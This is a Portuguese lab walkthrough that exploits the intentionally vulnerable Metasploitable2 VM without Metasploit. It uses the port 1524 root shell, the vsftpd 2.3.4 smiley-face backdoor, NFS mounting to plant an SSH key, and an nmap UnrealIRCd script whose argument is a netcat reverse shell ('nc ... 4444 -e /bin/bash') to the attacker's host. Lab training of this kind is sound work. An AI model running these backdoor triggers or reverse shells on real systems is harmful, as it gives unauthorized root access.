Metasploitable sem Metasploit

Metasploitable2 é uma distribuição Linux feita para estudos em teste de invasão, essa distribuição já vem com uma série de vulnerabilidades, seu download pode ser feito pelo link “Metasploitable2“, caso tenha interesse em treinar com outras distribuições com vulnerabilidades, existe o site VulnHub, nesse site tem dezenas de outras ISOs para download.

Vou mostrar alguns vulnerabilidades comuns do Metasploitable2 e sua exploração sem uso do Metasploit Framework.

Um pentest é dividido em 4 fases, essas fases são descritas no modelo ZEH (Zery entry Hacking), são as seguintes:

Reconhecimento, fase onde devem ser levantadas todas as informações relacionadas com o alvo do pentest, nessa fase também é definida a estratégia empregada na execução da prova de conceito do ataque;

Verradura, nessa fase é onde são identificados os serviços, como portas, servidores web, active directory entre outros, com essas informações já é possível verificar se existem vulnerabilidades conhecidas para os serviços descobertos;

Exploração, nessa fase é onde todas as informações colhidas nas fases anteriores são utilizadas com o objetivo de comprometer o alvo do pentest, o principal objetivo dessa fase é obter acesso e controle do sistema alvo;

Manutenção do acesso, nessa fase é onde o atacante, nesse caso, o analista responsável pelo pentest vai garantir a continuidade do seu acesso ao sistema que foi comprometido, dessa forma, evitando que todo o processo de invasão tenha que ser executado novamente, ferramentas como backdoor e rookit são utilizadas nessa fase, o objetivo é consolidar a Prova de Conceito para que seja fielmente similar a um ataque real.

Tenho usado muito a ferramenta KeepNote que já vem no Kali Linux para fazer a documentação do pentest.

Após o scan de serviços inicial, podemos verificar a porta 1524 que é praticamente um backdoor pronto para ser usado, seu acesso pode ser feito facilmente usando o Netcat.

root@kali:~/Desktop/HackTheBox/metasploitableLocal# nc -v 192.168.163.128 1524
192.168.163.128: inverse host lookup failed: Unknown host
(UNKNOWN) [192.168.163.128] 1524 (ingreslock) open
root@metasploitable:/# whoami 
root
root@metasploitable:/# hostname
metasploitable
root@metasploitable:/#

A segunda explorão vai no serviço de FTP, a versão que o Metasploitable2 usa é uma versão comprometida que já vem um backdoor adormecido, basta apenas acorda-lo. Essa versão foi comprometida no site oficial do reposítório, então se você localizar algum site rodando a versão vsftpd 2.3.4, muito provavelmente existe um backdoor pronto para ser usado.

root@kali:~/Desktop/HackTheBox/metasploitableLocal# ftp 192.168.163.128 21
Connected to 192.168.163.128.
220 (vsFTPd 2.3.4)
Name (192.168.163.128:root): root:) (Rosto feliz é o que ativa o backdoor no username)
331 Please specify the password.
Password:

Depois de inseri o rosto feliz, o backdoor é ativado e fica escutando na porta 6200 do servidor alvo.

root@kali:~/Desktop/HackTheBox/metasploitableLocal# nc -v 192.168.163.128 6200
192.168.163.128: inverse host lookup failed: Unknown host
(UNKNOWN) [192.168.163.128] 6200 (?) open
whoami (1)
root (1)
hostname (2)
metasploitable (2)

Outra exploração que pode ser feita é no serviço de montagem de arquivos na porta 111, fazendo um scan com o NSE do Nmap, podemos validar a vulnerabilidade.

root@kali:/tmp# nmap 192.168.163.128 -p111 --script=nfs-showmount.nse

PORT STATE SERVICE
111/tcp open rpcbind
| nfs-showmount: 
|_ / *
MAC Address: 00:0C:29:D3:9F:1A (VMware)

PORT STATE SERVICE
111/tcp open rpcbind
| nfs-ls: Volume /
| access: Read Lookup Modify Extend Delete NoExecute
| PERMISSION UID GID SIZE TIME FILENAME
| drwxr-xr-x 0 0 4096 2012-05-14T03:35:33 bin
| drwxr-xr-x 0 0 4096 2010-04-16T06:16:02 home
| drwxr-xr-x 0 0 4096 2010-03-16T22:57:40 initrd
| lrwxrwxrwx 0 0 32 2010-04-28T20:26:18 initrd.img
| drwxr-xr-x 0 0 4096 2012-05-14T03:35:22 lib
| drwx------ 0 0 16384 2010-03-16T22:55:15 lost+found
| drwxr-xr-x 0 0 4096 2010-03-16T22:55:52 media
| drwxr-xr-x 0 0 4096 2010-04-28T20:16:56 mnt
| drwxr-xr-x 0 0 4096 2012-05-14T01:54:53 sbin
| drwxr-xr-x 0 0 4096 2010-04-28T04:06:37 usr

Após validar a vulnerabilidade, conforme mostrado na saída do Nmap acima, podemos fazer a montagem do diretório de nossa máquina atacante (Kali) e inserir nossa chave SSH dentro do servidor alvo, isso vai permitir o acesso SSH sem a necessidade de login e senha.

Caso seu Kali ou qualquer outra distruição que esteja usando como máquina atacante não tenha uma id_rsa/id_rsa.pub, basta gerar uma com o comando “ssh-keygen”, o arquivo vai ser salvo em /root/.ssh (página oculta, para visualizar use ls -a).

Outra vulnerabilidade presente no Metasploitable2 é o servidor de IRC que roda na porta 6667.

Para executar essa exploração, vamos utilizar apenas o Nmap com o NSE e o Script Args, que são argumentos que podemos inserir dentro de certos scripts de invasão presentes no Nmap.

nmap -p6667 192.168.163.128 --script=irc-unrealircd-backdoor.nse --script-args=irc-unrealircd-backdoor.command='/bin/nc 192.168.163.148 4444 -e /bin/bash'

Antes de executar o script, vamos deixar nosso Kali em modo de escuta na porta 4444 com o NetCat, o script-args no NSE do Nmap vai executar o comando “/bin/nc 192.168.163.148 4444 -e /bin/bash”, esse comando vai simplesmente rodar um NetCat no alvo e entregar uma Shell com o parâmetro ” -e “.

Essas são alguns vulnerabilidades simples do Metasploitable2, não existe uma fórmula mágica para executar invasões, cada tipo de vulnerabilidade permite que sejam aplicadas diversas formas de comprometimento, outro ponto importante é não ficar muito dependente do Metasploit, até mesmo para se acostumar com isso caso você pense em fazer a prova agressiva para a certificação da Offensive Security, já que é permitido usar o Metasploit em apenas um servidor alvo. Invadir o Metasploitable2 com ferramentas como o Metasploit, Armitage é simples demais e não gera nenhuma conteúdo útil para que está executando a tarefa.